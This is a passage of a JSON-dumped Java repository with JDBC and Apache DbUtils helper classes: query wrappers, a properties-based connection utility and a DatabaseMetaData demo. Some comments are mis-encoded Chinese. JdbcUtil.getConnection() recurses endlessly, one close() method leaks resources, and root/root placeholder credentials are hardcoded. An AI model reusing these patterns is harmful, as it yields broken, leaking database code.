{\n\t\t\te.printStackTrace();\n\t\t\tlog.error(\"findBy銆傞敊璇�\" + sql, e);\n\t\t}\n\t\treturn object;\n\t}\n\n\t/**\n\t * 鏌ヨ鏌愪竴鏉¤褰曪紝骞跺皢鎸囧畾鍒楃殑鏁版嵁杞崲涓篛bject\n\t * \n\t * @param sql\n\t *            sql璇彞\n\t * @param columnIndex\n\t *            鍒楃储寮�\n\t * @return 缁撴灉瀵硅薄\n\t */\n\tpublic Object findBy(String sql, int columnIndex) {\n\t\treturn findBy(sql, columnIndex, null);\n\t}\n\n\t/**\n\t * 鏌ヨ鏌愪竴鏉¤褰曪紝骞跺皢鎸囧畾鍒楃殑鏁版嵁杞崲涓篛bject\n\t * \n\t * @param sql\n\t *            sql璇彞\n\t * @param columnIndex\n\t *            鍒楃储寮�\n\t * @param param\n\t *            鍙傛暟\n\t * @return 缁撴灉瀵硅薄\n\t */\n\tpublic Object findBy(String sql, int columnIndex, Object param) {\n\t\treturn findBy(sql, columnIndex, new Object[] { param });\n\t}\n\n\tpublic Object findBy(String sql, int columnIndex, Object[] params) {\n\t\tObject object = null;\n\t\ttry {\n\t\t\tif (params == null) {\n\t\t\t\tobject = run.query(sql, new ScalarHandler(columnIndex));\n\t\t\t} else {\n\t\t\t\tobject = run.query(sql, new ScalarHandler(columnIndex), params);\n\t\t\t}\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t\tlog.error(\"findBy.閿欒\" + sql, e);\n\t\t}\n\t\treturn object;\n\t}\n\n\tpublic static void main1(String[] args) throws Exception {\n\t\tQueryRunner run = new QueryRunner();\n\t\tString sql = \"insert into users values (?,?,?)\";\n\t\tfor (int i = 1; i <= 1043; i++) {\n\t\t\tString uuid = \"U\";\n\t\t\tString num = \"00000\" + i;// 0001\n\t\t\tnum = num.substring(num.length() - 6);\n\t\t\tuuid = uuid + \"-\" + num;\n\t\t\trun.update(sql, uuid, \"Jack\" + i, \"AA\");\n\t\t}\n\t}\n\n\t@SuppressWarnings({ \"unchecked\", \"deprecation\" })\n\tpublic int[] batch99(String sql, Object[][] params) throws Exception {\n\t\tint[] rows = null;\n\n\t\ttry {\n\t\t\trows = run.batch(conn, sql, params);\n\t\t} finally {\n\n\t\t}\n\n\t\treturn rows;\n\t}\n\n\tpublic int executeUpdate(String sql) throws Exception {\n\t\tint rows = 0;\n\n\t\ttry {\n\t\t\trows = run.update(conn, sql);\n\t\t} finally {\n\n\t\t}\n\t\treturn rows;\n\t}\n\n\t@SuppressWarnings({ \"unchecked\", \"deprecation\" })\n\tpublic int executeUpdate(String sql, Object param) throws Exception {\n\t\tint rows = 0;\n\n\t\ttry {\n\t\t\trows = run.update(conn, sql, param);\n\t\t} finally {\n\n\t\t}\n\n\t\treturn rows;\n\t}\n\n\t@SuppressWarnings({ \"unchecked\", \"deprecation\" })\n\tpublic int executeUpdate(String sql, Object[] params) throws Exception {\n\t\tint rows = 0;\n\n\t\ttry {\n\n\t\t\trows = run.update(conn, sql, params);\n\n\t\t} finally {\n\n\t\t}\n\n\t\treturn rows;\n\t}\n\n\tpublic Object queryToBean(Class type, String sql) throws Exception {\n\n\t\tObject result = null;\n\n\t\tResultSetHandler h = new BeanHandler(type);\n\t\ttry {\n\n\t\t\tresult = run.query(conn, sql, h);\n\n\t\t} finally {\n\n\t\t}\n\n\t\treturn result;\n\t}\n\n\t@SuppressWarnings({ \"unchecked\", \"deprecation\" })\n\tpublic Object queryToBean(Class type, String sql, Object param) throws Exception {\n\n\t\tObject result = null;\n\n\t\tResultSetHandler h = new BeanHandler(type);\n\t\ttry {\n\n\t\t\tresult = run.query(conn, sql, param, h);\n\n\t\t} finally {\n\n\t\t}\n\n\t\treturn result;\n\t}\n\n\t@SuppressWarnings({ \"unchecked\", \"deprecation\" })\n\tpublic Object queryToBean(Class type, String sql, Object[] params) throws Exception {\n\n\t\tObject result = null;\n\n\t\tResultSetHandler h = new BeanHandler(type);\n\t\ttry {\n\t\t\tresult = run.query(conn, sql, params, h);\n\t\t} finally {\n\n\t\t}\n\t\treturn result;\n\t}\n\n\t@SuppressWarnings({ \"unchecked\", \"deprecation\" })\n\tpublic ArrayList queryToBeanList(Class type, String sql) throws Exception {\n\n\t\tArrayList result = null;\n\n\t\tResultSetHandler h = new BeanListHandler(type);\n\t\ttry {\n\t\t\tresult = (ArrayList) run.query(conn, sql, h);\n\t\t} finally {\n\n\t\t}\n\t\treturn result;\n\t}\n\n\t@SuppressWarnings({ \"unchecked\", \"deprecation\" })\n\tpublic ArrayList queryToBeanList(Class type, String sql, Object param) throws Exception {\n\n\t\tArrayList result = null;\n\n\t\tResultSetHandler h = new BeanListHandler(type);\n\t\ttry {\n\n\t\t\tresult = (ArrayList) run.query(conn, sql, param, h);\n\n\t\t} finally {\n\n\t\t}\n\n\t\treturn result;\n\t}\n\n\tpublic ArrayList queryToBeanList(Class type, String sql, Object[] params) throws Exception {\n\n\t\tArrayList result = null;\n\t\tResultSetHandler h = new BeanListHandler(type);\n\t\ttry {\n\n\t\t\tresult = (ArrayList) run.query(conn, sql, params, h);\n\n\t\t} finally {\n\n\t\t}\n\n\t\treturn result;\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_dbutil/src/main/java/com/jun/plugin/dbutils/test/JdbcByPropertiesUtil.java",
    "content": "package com.jun.plugin.dbutils.test;\nimport java.io.BufferedInputStream;  \nimport java.io.FileInputStream;  \nimport java.io.InputStream;  \nimport java.sql.Connection;  \nimport java.sql.DriverManager;  \nimport java.sql.PreparedStatement;  \nimport java.sql.ResultSet;  \nimport java.sql.SQLException;  \nimport java.sql.Statement;  \nimport java.util.Properties;  \n  \n/** \n * @author adam.胡升阳 \n *  \n */  \npublic class JdbcByPropertiesUtil {  \n    private static String filePath = \"jdbc.properties\";   \n    private static JdbcByPropertiesUtil instance = null;  \n      \n    public JdbcByPropertiesUtil() {  \n        super();  \n    }  \n  \n    /** \n     * 单例方式创建对象 \n     * @return \n     */  \n    public static JdbcByPropertiesUtil getInstance() {  \n        if (instance == null) {  \n            synchronized (JdbcByPropertiesUtil.class) {  \n                if (instance == null) {  \n                    instance = new JdbcByPropertiesUtil();  \n                }  \n            }  \n        }  \n        return instance;  \n    }  \n         \n    /** \n     * 读取properties文件中 数据库连接信息 \n     * @param filePath \n     * add 2012-4-17 \n     */  \n    public static Properties readPropertiesFile(){  \n        String realFilePath = Thread.currentThread().getContextClassLoader().getResource(\"\").getPath()+filePath;   \n        Properties pros = new Properties();    \n        try {    \n            InputStream is = new BufferedInputStream(new FileInputStream(realFilePath));    \n            pros.load(is);   \n        } catch (Exception e) {    \n            e.printStackTrace();  \n        }  \n        return pros;  \n    }   \n      \n    /** \n     * 注册驱动 \n     * 静态代码块 用于启动web服务器时加载驱动 \n     */  \n    static{  \n        Properties pros = readPropertiesFile();  \n        String className = (String) pros.get(\"className\");  \n        try {  \n            Class.forName(className).newInstance();  \n        } catch (Exception e) {  \n            e.printStackTrace();  \n        }   \n    }  \n      \n    /** \n     * 获取数据库连接 \n     * modify 2012-4-17 \n     * @param con \n     * @return \n     */  \n    public Connection getConnection(){  \n        Properties pros = readPropertiesFile();  \n        String url = (String) pros.get(\"url\");  \n        String user = (String) pros.get(\"user\");  \n        String password = (String) pros.get(\"password\");  \n        Connection conn = null;  \n        try {  \n            conn = DriverManager.getConnection(url,user,password);  \n        } catch (Exception e) {  \n            e.printStackTrace();  \n        }  \n        return conn;  \n    }  \n         \n    /** \n     *  依次关闭ResultSet、Statement、Connection \n     *  若对象不存在则创建一个空对象 \n     * @param rs \n     * @param st \n     * @param pst \n     * @param conn \n     */  \n    public void close(ResultSet rs,Statement st,Connection conn){  \n        if(rs != null){  \n            try {  \n                rs.close();  \n            } catch (SQLException e) {  \n                e.printStackTrace();  \n            } finally{  \n                if(st != null){  \n                    try {  \n                        st.close();  \n                    } catch (SQLException e) {  \n                        e.printStackTrace();  \n                    } finally{  \n                        if(conn != null){  \n                            try {  \n                                conn.close();  \n                            } catch (SQLException e) {  \n                                e.printStackTrace();  \n                            }  \n                        }  \n                    }  \n                }  \n            }  \n        }  \n    }  \n  \n  \n    /** \n     * 新增、修改、删除、查询记录(也可以改为有结果集ResultSet返回的查询方法) \n     * @param sql \n     * @throws   \n     */  \n    public void execute(String sql){  \n        JdbcByPropertiesUtil jbpu = getInstance();  \n        Connection conn = null;  \n        PreparedStatement pst = null;  \n        try {  \n            conn = jbpu.getConnection();  \n            conn.setAutoCommit(false);  \n            pst = conn.prepareStatement(sql);  \n            pst.execute();  \n            conn.commit();  \n        } catch (Exception e) {  \n            try {  \n                conn.rollback();  \n            } catch (SQLException e1) {  \n                e1.printStackTrace();  \n            }  \n            e.printStackTrace();  \n        } finally{  \n            //Statement st = null;  \n            ResultSet rs = null;  \n            jbpu.close(rs, pst, conn);   \n        }  \n    }  \n   \n    /** \n     * 新增、修改、删除记录 \n     * @param sql \n     * @throws   \n     */  \n    public void executeUpdate(String sql) {  \n        JdbcByPropertiesUtil jbpu = getInstance();  \n        Connection conn = null;  \n        PreparedStatement pst = null;  \n        try {  \n            conn = jbpu.getConnection();  \n            conn.setAutoCommit(false);  \n            pst = conn.prepareStatement(sql);  \n            pst.executeUpdate();  \n            conn.commit();  \n        } catch (Exception e) {  \n            try {  \n                conn.rollback();  \n            } catch (SQLException e1) {  \n                e1.printStackTrace();  \n            }  \n            e.printStackTrace();  \n        } finally{  \n            //Statement st = null;  \n            ResultSet rs = null;  \n            jbpu.close(rs, pst, conn);   \n        }  \n    }  \n      \n      \n}  "
  },
  {
    "path": "jun_java_plugins/jun_dbutil/src/main/java/com/jun/plugin/dbutils/test/JdbcUtil.java",
    "content": "package com.jun.plugin.dbutils.test;\n\n\nimport java.sql.Connection;\nimport java.sql.DatabaseMetaData;\nimport java.sql.ResultSet;\nimport java.sql.SQLException;\nimport java.sql.Statement;\n\n\n//import oracle.jdbc.driver.OracleConnection;  \n  \n/** \n * @Description: JDBC操作元数据示例-- DatabaseMetaData接口 \n * @CreateTime: 2014-1-19 下午9:46:44 \n * @author: chenzw  \n * @version V1.0 \n */  \npublic class JdbcUtil {  \n    //获得驱动    \n    private static String DRIVER = \"oracle.jdbc.driver.OracleDriver\";    \n    //获得url    \n    private static String URL = \"jdbc:oracle:thin:@localhost:test\";    \n    //获得连接数据库的用户名    \n    private static String USER = \"root\";    \n    //获得连接数据库的密码    \n    private static String PASS = \"root\";    \n    static {    \n        try {     \n            //初始化JDBC驱动并让驱动加载到jvm中    \n            Class.forName(DRIVER);    \n        } catch (ClassNotFoundException e) {    \n            e.printStackTrace();    \n        }    \n    }    \n      \n    public static Connection getConnection(){    \n        Connection conn = null;    \n        try {     \n            //连接数据库    \n              \n           /* \n            * 设置可获取REMARK备注信息 \n           Properties props =new Properties(); \n           props.put(\"remarksReporting\",\"true\"); \n           props.put(\"user\", USER); \n           props.put(\"password\", PASS); \n           conn =DriverManager.getConnection(URL,props);*/  \n              \n//            conn = DriverManager.getConnection(URL,USER,PASS);    \n            conn = JdbcUtil.getConnection();    \n            conn.setAutoCommit(true);  \n        } catch (SQLException e) {    \n            e.printStackTrace();    \n        }    \n        return conn;    \n    }    \n  \n    //关闭连接  \n    public static void close(Object o){    \n        if (o == null){    \n            return;    \n        }    \n        if (o instanceof ResultSet){    \n            try {    \n                ((ResultSet)o).close();    \n            } catch (SQLException e) {    \n                e.printStackTrace();    \n            }    \n        } else if(o instanceof Statement){    \n            try {    \n                ((Statement)o).close();    \n            } catch (SQLException e) {    \n                e.printStackTrace();    \n            }    \n        } else if (o instanceof Connection){    \n            Connection c = (Connection)o;    \n            try {    \n                if (!c.isClosed()){    \n                    c.close();    \n                }    \n            } catch (SQLException e) {    \n                e.printStackTrace();    \n            }    \n        }      \n    }    \n      \n      \n    public static void close(ResultSet rs, Statement stmt,     \n            Connection conn){    \n        close(rs);    \n        close(stmt);    \n        close(conn);    \n    }    \n      \n    public static void close(ResultSet rs,     \n            Connection conn){    \n        close(rs);     \n        close(conn);    \n    }    \n      \n      \n      \n    /** \n     * @Description: 获取数据库相关信息 \n     * @author: chenzw  \n     * @CreateTime: 2014-1-27 下午5:09:12  \n     * @throws \n     */  \n    public static void getDataBaseInfo() {    \n        Connection conn =  getConnection();  \n        ResultSet rs = null;  \n        try{    \n             DatabaseMetaData dbmd = conn.getMetaData();  \n             System.out.println(\"数据库已知的用户: \"+ dbmd.getUserName());      \n             System.out.println(\"数据库的系统函数的逗号分隔列表: \"+ dbmd.getSystemFunctions());      \n             System.out.println(\"数据库的时间和日期函数的逗号分隔列表: \"+ dbmd.getTimeDateFunctions());      \n             System.out.println(\"数据库的字符串函数的逗号分隔列表: \"+ dbmd.getStringFunctions());      \n             System.out.println(\"数据库供应商用于 'schema' 的首选术语: \"+ dbmd.getSchemaTerm());      \n             System.out.println(\"数据库URL: \" + dbmd.getURL());      \n             System.out.println(\"是否允许只读:\" + dbmd.isReadOnly());      \n             System.out.println(\"数据库的产品名称:\" + dbmd.getDatabaseProductName());      \n             System.out.println(\"数据库的版本:\" + dbmd.getDatabaseProductVersion());      \n             System.out.println(\"驱动程序的名称:\" + dbmd.getDriverName());      \n             System.out.println(\"驱动程序的版本:\" + dbmd.getDriverVersion());    \n               \n             System.out.println(\"数据库中使用的表类型\");      \n             rs = dbmd.getTableTypes();      \n             while (rs.next()) {      \n                 System.out.println(rs.getString(\"TABLE_TYPE\"));      \n             }      \n        }catch (SQLException e){    \n            e.printStackTrace();    \n        } finally{  \n        \tJdbcUtil.close(rs,conn);  \n        }   \n    }   \n      \n    /** \n     * @Description:获得数据库中所有Schemas(对应于oracle中的Tablespace) \n     * @author: chenzw  \n     * @CreateTime: 2014-1-27 下午5:10:35  \n     * @throws \n     */  \n    public static void getSchemasInfo(){    \n        Connection conn =  getConnection();  \n        ResultSet rs = null;  \n        try{    \n            DatabaseMetaData dbmd = conn.getMetaData();  \n            rs = dbmd.getSchemas();     \n            while (rs.next()){       \n                String tableSchem = rs.getString(\"TABLE_SCHEM\");   \n                System.out.println(tableSchem);       \n            }       \n        } catch (SQLException e){    \n            e.printStackTrace();       \n        } finally{  \n            JdbcUtil.close(rs,conn);  \n        }    \n    }    \n      \n    /** \n     * @Description: 获取数据库中所有的表信息 \n     * @author: chenzw  \n     * @CreateTime: 2014-1-27 下午5:08:28  \n     * @throws \n     */  \n    public static void getTablesList() {    \n        Connection conn =  getConnection();  \n        ResultSet rs = null;  \n        try {    \n            /** \n             * 设置连接属性,使得可获取到表的REMARK(备注) \n             */  \n//            ((OracleConnection)conn).setRemarksReporting(true);   \n            DatabaseMetaData dbmd = conn.getMetaData();  \n            String[] types = { \"TABLE\" };    \n            rs = dbmd.getTables(null, null, \"%\", types);    \n            while (rs.next()) {    \n                String tableName = rs.getString(\"TABLE_NAME\");  //表名    \n                String tableType = rs.getString(\"TABLE_TYPE\");  //表类型    \n                String remarks = rs.getString(\"REMARKS\");       //表备注    \n                System.out.println(tableName + \" - \" + tableType + \" - \" + remarks);    \n            }    \n        } catch (SQLException e) {    \n            e.printStackTrace();    \n        } finally{  \n            JdbcUtil.close(rs,conn);  \n        }   \n    }    \n      \n    /** \n     * @Description: 获取某表信息 \n     * @author: chenzw  \n     * @CreateTime: 2014-1-27 下午3:26:30  \n     * @throws \n     */  \n    public static void getTablesInfo(){  \n        Connection conn =  getConnection();  \n        ResultSet rs = null;  \n        try {  \n            /** \n             * 设置连接属性,使得可获取到表的REMARK(备注) \n             */  \n//            ((OracleConnection)conn).setRemarksReporting(true);   \n            DatabaseMetaData dbmd = conn.getMetaData();  \n            /** \n             * 获取给定类别中使用的表的描述。 \n             * 方法原型:ResultSet getTables(String catalog,String schemaPattern,String tableNamePattern,String[] types); \n             * catalog - 表所在的类别名称;\"\"表示获取没有类别的列,null表示获取所有类别的列。 \n             * schema - 表所在的模式名称(oracle中对应于Tablespace);\"\"表示获取没有模式的列,null标识获取所有模式的列; 可包含单字符通配符(\"_\"),或多字符通配符(\"%\"); \n             * tableNamePattern - 表名称;可包含单字符通配符(\"_\"),或多字符通配符(\"%\"); \n             * types - 表类型数组; \"TABLE\"、\"VIEW\"、\"SYSTEM TABLE\"、\"GLOBAL TEMPORARY\"、\"LOCAL TEMPORARY\"、\"ALIAS\" 和 \"SYNONYM\";null表示包含所有的表类型;可包含单字符通配符(\"_\"),或多字符通配符(\"%\");  \n             */  \n            rs = dbmd.getTables(null, null, \"CUST_INTER_TF_SERVICE_REQ\", new String[]{\"TABLE\",\"VIEW\"});   \n  \n  \n            while(rs.next()){  \n                 String tableCat = rs.getString(\"TABLE_CAT\");  //表类别(可为null)   \n                 String tableSchemaName = rs.getString(\"TABLE_SCHEM\");//表模式（可能为空）,在oracle中获取的是命名空间,其它数据库未知       \n                 String tableName = rs.getString(\"TABLE_NAME\");  //表名    \n                 String tableType = rs.getString(\"TABLE_TYPE\");  //表类型,典型的类型是 \"TABLE\"、\"VIEW\"、\"SYSTEM TABLE\"、\"GLOBAL TEMPORARY\"、\"LOCAL TEMPORARY\"、\"ALIAS\" 和 \"SYNONYM\"。  \n                 String remarks = rs.getString(\"REMARKS\");       //表备注    \n                   \n                 System.out.println(tableCat + \" - \" + tableSchemaName + \" - \" +tableName + \" - \" + tableType + \" - \"   \n                        + remarks);    \n            }  \n        } catch (Exception ex) {  \n            ex.printStackTrace();  \n        }finally{  \n            JdbcUtil.close(rs,conn);  \n        }  \n    }  \n  \n    /** \n     * @Description: 获取表主键信息 \n     * @author: chenzw  \n     * @CreateTime: 2014-1-27 下午5:12:53  \n     * @throws \n     */  \n    public static void getPrimaryKeysInfo() {    \n        Connection conn =  getConnection();  \n        ResultSet rs = null;  \n        try{    \n            DatabaseMetaData dbmd = conn.getMetaData();  \n            /** \n             * 获取对给定表的主键列的描述 \n             * 方法原型:ResultSet getPrimaryKeys(String catalog,String schema,String table); \n             * catalog - 表所在的类别名称;\"\"表示获取没有类别的列,null表示获取所有类别的列。 \n             * schema - 表所在的模式名称(oracle中对应于Tablespace);\"\"表示获取没有模式的列,null标识获取所有模式的列; 可包含单字符通配符(\"_\"),或多字符通配符(\"%\"); \n             * table - 表名称;可包含单字符通配符(\"_\"),或多字符通配符(\"%\"); \n             */  \n//            rs = dbmd.getPrimaryKeys(null, null, \"CUST_INTER_TF_SERVICE_REQ\");    \n            rs = dbmd.getPrimaryKeys(null, null, \"sys_fileupload\");    \n              \n            while (rs.next()){    \n                String tableCat = rs.getString(\"TABLE_CAT\");  //表类别(可为null)   \n                String tableSchemaName = rs.getString(\"TABLE_SCHEM\");//表模式（可能为空）,在oracle中获取的是命名空间,其它数据库未知       \n                String tableName = rs.getString(\"TABLE_NAME\");  //表名    \n                String columnName = rs.getString(\"COLUMN_NAME\");//列名    \n                short keySeq = rs.getShort(\"KEY_SEQ\");//序列号(主键内值1表示第一列的主键，值2代表主键内的第二列)    \n                String pkName = rs.getString(\"PK_NAME\"); //主键名称      \n                  \n                System.out.println(tableCat + \" - \" + tableSchemaName + \" - \" + tableName + \" - \" + columnName + \" - \"  \n                       + keySeq + \" - \" + pkName);       \n            }    \n        }catch (SQLException e){    \n            e.printStackTrace();    \n        }finally{  \n            JdbcUtil.close(rs,conn);  \n        }  \n    }    \n      \n    /** \n     * @Description: 获取表索引信息 \n     * @author: chenzw  \n     * @CreateTime: 2014-1-27 下午5:12:04  \n     * @throws \n     */  \n    public static void getIndexInfo() {   \n        Connection conn =  getConnection();  \n        ResultSet rs = null;  \n        try{    \n            DatabaseMetaData dbmd = conn.getMetaData();  \n            /** \n             * 获取给定表的索引和统计信息的描述 \n             * 方法原型:ResultSet getIndexInfo(String catalog,String schema,String table,boolean unique,boolean approximate) \n             * catalog - 表所在的类别名称;\"\"表示获取没有类别的列,null表示获取所有类别的列。 \n             * schema - 表所在的模式名称(oracle中对应于Tablespace);\"\"表示获取没有模式的列,null标识获取所有模式的列; 可包含单字符通配符(\"_\"),或多字符通配符(\"%\"); \n             * table - 表名称;可包含单字符通配符(\"_\"),或多字符通配符(\"%\"); \n             * unique - 该参数为 true时,仅返回唯一值的索引; 该参数为 false时,返回所有索引; \n             * approximate - 该参数为true时,允许结果是接近的数据值或这些数据值以外的值;该参数为 false时,要求结果是精确结果; \n             */  \n            rs = dbmd.getIndexInfo(null, null, \"CUST_INTER_TF_SERVICE_REQ\", false, true);    \n            while (rs.next()){    \n                String tableCat = rs.getString(\"TABLE_CAT\");  //表类别(可为null)   \n                String tableSchemaName = rs.getString(\"TABLE_SCHEM\");//表模式（可能为空）,在oracle中获取的是命名空间,其它数据库未知       \n                String tableName = rs.getString(\"TABLE_NAME\");  //表名    \n                boolean nonUnique = rs.getBoolean(\"NON_UNIQUE\");// 索引值是否可以不唯一,TYPE为 tableIndexStatistic时索引值为 false;  \n                String indexQualifier = rs.getString(\"INDEX_QUALIFIER\");//索引类别（可能为空）,TYPE为 tableIndexStatistic 时索引类别为 null;   \n                String indexName = rs.getString(\"INDEX_NAME\");//索引的名称 ;TYPE为 tableIndexStatistic 时索引名称为 null;  \n                /** \n                 * 索引类型：  \n                 *  tableIndexStatistic - 此标识与表的索引描述一起返回的表统计信息  \n                 *  tableIndexClustered - 此为集群索引  \n                 *  tableIndexHashed - 此为散列索引  \n                 *  tableIndexOther - 此为某种其他样式的索引  \n                 */  \n                short type = rs.getShort(\"TYPE\");//索引类型;  \n                short ordinalPosition = rs.getShort(\"ORDINAL_POSITION\");//在索引列顺序号;TYPE为 tableIndexStatistic 时该序列号为零;  \n                String columnName = rs.getString(\"COLUMN_NAME\");//列名;TYPE为 tableIndexStatistic时列名称为 null;  \n                String ascOrDesc = rs.getString(\"ASC_OR_DESC\");//列排序顺序:升序还是降序[A:升序; B:降序];如果排序序列不受支持,可能为 null;TYPE为 tableIndexStatistic时排序序列为 null;  \n                int cardinality = rs.getInt(\"CARDINALITY\");   //基数;TYPE为 tableIndexStatistic 时,它是表中的行数;否则,它是索引中唯一值的数量。     \n                int pages = rs.getInt(\"PAGES\"); //TYPE为 tableIndexStatisic时,它是用于表的页数,否则它是用于当前索引的页数。  \n                String filterCondition = rs.getString(\"FILTER_CONDITION\"); //过滤器条件,如果有的话(可能为 null)。  \n                  \n                System.out.println(tableCat + \" - \" + tableSchemaName + \" - \" + tableName + \" - \" + nonUnique + \" - \"   \n                       + indexQualifier + \" - \" + indexName + \" - \" + type + \" - \" + ordinalPosition + \" - \" + columnName   \n                       + \" - \" + ascOrDesc + \" - \" + cardinality + \" - \" + pages + \" - \" + filterCondition);       \n            }       \n        } catch (SQLException e){    \n            e.printStackTrace();       \n        } finally{  \n            JdbcUtil.close(rs,conn);  \n        }    \n    }    \n      \n       \n    /** \n     * @Description: 获取表中列值信息 \n     * @author: chenzw  \n     * @CreateTime: 2014-1-27 下午2:55:56  \n     * @throws \n     */  \n    public static void getColumnsInfo(){  \n        Connection conn =  getConnection();  \n        ResultSet rs = null;  \n          \n        try{  \n            /** \n             * 设置连接属性,使得可获取到列的REMARK(备注) \n             */  \n//            ((OracleConnection)conn).setRemarksReporting(true);   \n            DatabaseMetaData dbmd = conn.getMetaData();  \n            /** \n             * 获取可在指定类别中使用的表列的描述。 \n             * 方法原型:ResultSet getColumns(String catalog,String schemaPattern,String tableNamePattern,String columnNamePattern) \n             * catalog - 表所在的类别名称;\"\"表示获取没有类别的列,null表示获取所有类别的列。 \n             * schema - 表所在的模式名称(oracle中对应于Tablespace);\"\"表示获取没有模式的列,null标识获取所有模式的列; 可包含单字符通配符(\"_\"),或多字符通配符(\"%\"); \n             * tableNamePattern - 表名称;可包含单字符通配符(\"_\"),或多字符通配符(\"%\"); \n             * columnNamePattern - 列名称; \"\"表示获取列名为\"\"的列(当然获取不到);null表示获取所有的列;可包含单字符通配符(\"_\"),或多字符通配符(\"%\"); \n             */  \n            rs =dbmd.getColumns(null, null, \"sys_fileupload\", null);  \n              \n            while(rs.next()){  \n                String tableCat = rs.getString(\"TABLE_CAT\");  //表类别（可能为空）                    \n                String tableSchemaName = rs.getString(\"TABLE_SCHEM\");  //表模式（可能为空）,在oracle中获取的是命名空间,其它数据库未知       \n                String tableName_ = rs.getString(\"TABLE_NAME\");  //表名    \n                String columnName = rs.getString(\"COLUMN_NAME\");  //列名    \n                int dataType = rs.getInt(\"DATA_TYPE\");     //对应的java.sql.Types的SQL类型(列类型ID)       \n                String dataTypeName = rs.getString(\"TYPE_NAME\");  //java.sql.Types类型名称(列类型名称)  \n                int columnSize = rs.getInt(\"COLUMN_SIZE\");  //列大小    \n                int decimalDigits = rs.getInt(\"DECIMAL_DIGITS\");  //小数位数   \n                int numPrecRadix = rs.getInt(\"NUM_PREC_RADIX\");  //基数（通常是10或2） --未知  \n                /** \n                 *  0 (columnNoNulls) - 该列不允许为空 \n                 *  1 (columnNullable) - 该列允许为空 \n                 *  2 (columnNullableUnknown) - 不确定该列是否为空 \n                 */  \n                int nullAble = rs.getInt(\"NULLABLE\");  //是否允许为null    \n                String remarks = rs.getString(\"REMARKS\");  //列描述    \n                String columnDef = rs.getString(\"COLUMN_DEF\");  //默认值    \n                int charOctetLength = rs.getInt(\"CHAR_OCTET_LENGTH\");    // 对于 char 类型，该长度是列中的最大字节数   \n                int ordinalPosition = rs.getInt(\"ORDINAL_POSITION\");   //表中列的索引（从1开始）    \n                /**  \n                 * ISO规则用来确定某一列的是否可为空(等同于NULLABLE的值:[ 0:'YES'; 1:'NO'; 2:''; ]) \n                 * YES -- 该列可以有空值;  \n                 * NO -- 该列不能为空; \n                 * 空字符串--- 不知道该列是否可为空 \n                 */    \n                String isNullAble = rs.getString(\"IS_NULLABLE\");    \n                    \n                /**  \n                 * 指示此列是否是自动递增  \n                 * YES -- 该列是自动递增的 \n                 * NO -- 该列不是自动递增 \n                 * 空字串--- 不能确定该列是否自动递增 \n                 */    \n                //String isAutoincrement = rs.getString(\"IS_AUTOINCREMENT\");   //该参数测试报错      \n                  \n                  \n                System.out.println(tableCat + \" - \" + tableSchemaName + \" - \" + tableName_ + \" - \" + columnName +   \n                        \" - \" + dataType + \" - \" + dataTypeName + \" - \" + columnSize + \" - \" + decimalDigits + \" - \"   \n                        + numPrecRadix + \" - \" + nullAble + \" - \" + remarks + \" - \" + columnDef + \" - \" + charOctetLength  \n                        + \" - \" + ordinalPosition + \" - \" + isNullAble );   \n                  \n            }  \n        }catch(SQLException ex){  \n            ex.printStackTrace();  \n        }finally{  \n            JdbcUtil.close(rs,conn);  \n        }  \n    }  \n      \n    /** \n     * @Description: TODO \n     * @author: chenzw  \n     * @CreateTime: 2014-1-17 下午2:47:45 \n     * @param args  \n     * @throws  \n     */  \n    public static void main(String[] args) {  \n        getDataBaseInfo();  //获取数据库信息  \n        getSchemasInfo(); //获取数据库所有Schema  \n        getTablesList();  //获取某用户下所有的表  \n        getTablesInfo();  //获取表信息  \n        getPrimaryKeysInfo(); //获取表主键信息  \n        getIndexInfo();  //获取表索引信息  \n        getColumnsInfo(); //获取表中列值信息  \n    }  \n}  "
  },
  {
    "path": "jun_java_plugins/jun_dbutil/src/main/java/com/jun/plugin/dbutils/utils/CommonUtil.java",
    "content": "package com.jun.plugin.dbutils.utils;\n\npublic class CommonUtil {\n\tpublic static int objectToInteger(Object obj) {\n\t\ttry {\n\t\t\tif (obj != null && !obj.toString().trim().equals(\"\"))\n\t\t\t\treturn Integer.parseInt(obj.toString());\n\t\t} catch (Exception ex) {\n\t\t\tex.printStackTrace();\n\t\t\treturn 0;\n\t\t}\n\t\treturn 0;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_dbutil/src/main/java/com/jun/plugin/dbutils/utils/DbBuilder.java",
    "content": "package com.jun.plugin.dbutils.utils;\n\nimport java.sql.CallableStatement;\nimport java.sql.Connection;\nimport java.sql.DriverManager;\nimport java.sql.SQLException;\nimport java.sql.Statement;\nimport java.util.List;\nimport java.util.Map;\n\nimport javax.sql.DataSource;\n\nimport org.apache.commons.dbcp2.BasicDataSource;\nimport org.apache.commons.dbutils.QueryRunner;\nimport org.apache.commons.dbutils.handlers.ArrayHandler;\nimport org.apache.commons.dbutils.handlers.ArrayListHandler;\nimport org.apache.commons.dbutils.handlers.BeanHandler;\nimport org.apache.commons.dbutils.handlers.BeanListHandler;\nimport org.apache.commons.dbutils.handlers.MapHandler;\nimport org.apache.commons.dbutils.handlers.MapListHandler;\nimport org.apache.commons.dbutils.handlers.ScalarHandler;\nimport org.apache.log4j.Logger;\n\nimport com.mysql.jdbc.PreparedStatement;\n\npublic class DbBuilder {\n\tprivate static DataSource dataSource;\n\tprivate static Logger logger = Logger.getLogger(DbBuilder.class);\n\n\tprivate DbBuilder() {\n\t}\n\n\tpublic static DataSource getDataSource() {\n\t\tif (DbBuilder.dataSource == null) {\n\t\t\ttry {\n\t\t\t\tPropertiesConfig config = PropertiesConfig.getApplicationConfig();\n\t\t\t\tBasicDataSource dbcpDataSource = new 